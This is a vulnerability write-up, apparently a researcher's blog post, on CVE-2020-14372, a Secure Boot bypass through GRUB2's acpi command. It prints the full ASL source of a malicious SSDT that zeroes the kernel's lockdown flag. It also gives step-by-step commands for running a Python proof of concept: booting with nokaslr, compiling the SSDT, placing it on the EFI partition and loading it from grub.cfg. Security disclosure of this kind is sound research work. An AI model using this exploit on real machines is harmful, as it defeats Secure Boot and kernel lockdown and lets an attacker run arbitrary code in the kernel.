CVE-2020-14372: Secure Boot bypass using GRUB2

2021-05-22 17:11

Vulnerability details

One day I typed "help" into GRUB2's console and saw some really "fun" commands:

I immediately thought I found the most fun Secure Boot bypass, but these commands output the following under Secure Boot:

error: Secure Boot forbids loading module .../memrw.mod.

Out of curiosity, booted this way I typed the "acpi" command, and it printed a usage message telling me to point it to an AML file. It's well-known that another name for ACPI is a "mechanism to run arbitrary vendor provided code in the context of your kernel", since we can load ACPI tables with Secure Boot enabled, we are the "vendor" who can provide that code.

But since there is a one-byte flag (kernel_locked_down) in the data segment of the booted kernel telling it whether or not its "locked down", we can just overwrite that flag using an SSDT and let the kernel load arbitrary modules.

The following SSDT accomplishes this by creating a "battery" object called HACK, and doing the write in said object's _INI method which is always executed by the kernel:

DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

I wrote a proof of concept exploit in Python that helps with generating this SSDT, but exploting this by hand is not that difficult either. The rough outline is as follows:

How to use the PoC

Proof of concept exploit hosted on GitHub.

Assumptions:

When the above assumptions are met, edit /etc/default/grub, add nokaslr to GRUB_CMDLINE_LINUX_DEFAULT, run update-grub, and then finally reboot.

After the kernel is booted without address space layout randomization, the genssdt.py script can be used to generate a "malicious" SSDT that will patch the kernel's memory at runtime to disable lockdown:

python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

Now that the SSDT was created, the GRUB configuration file (usually at /boot/grub/grub.cfg) must be edited to make GRUB load this SSDT (adding this to the top of this file):

acpi (hd0,gpt1)/evil_ssdt.aml

Based on where the EFI system partition (where we placed the SSDT above) resides on disk, (hd0,gpt1) might need to be replaced with something else.

Finally after a reboot, kernel lockdown should be disabled, giving root the ability to execute arbitrary code in the kernel.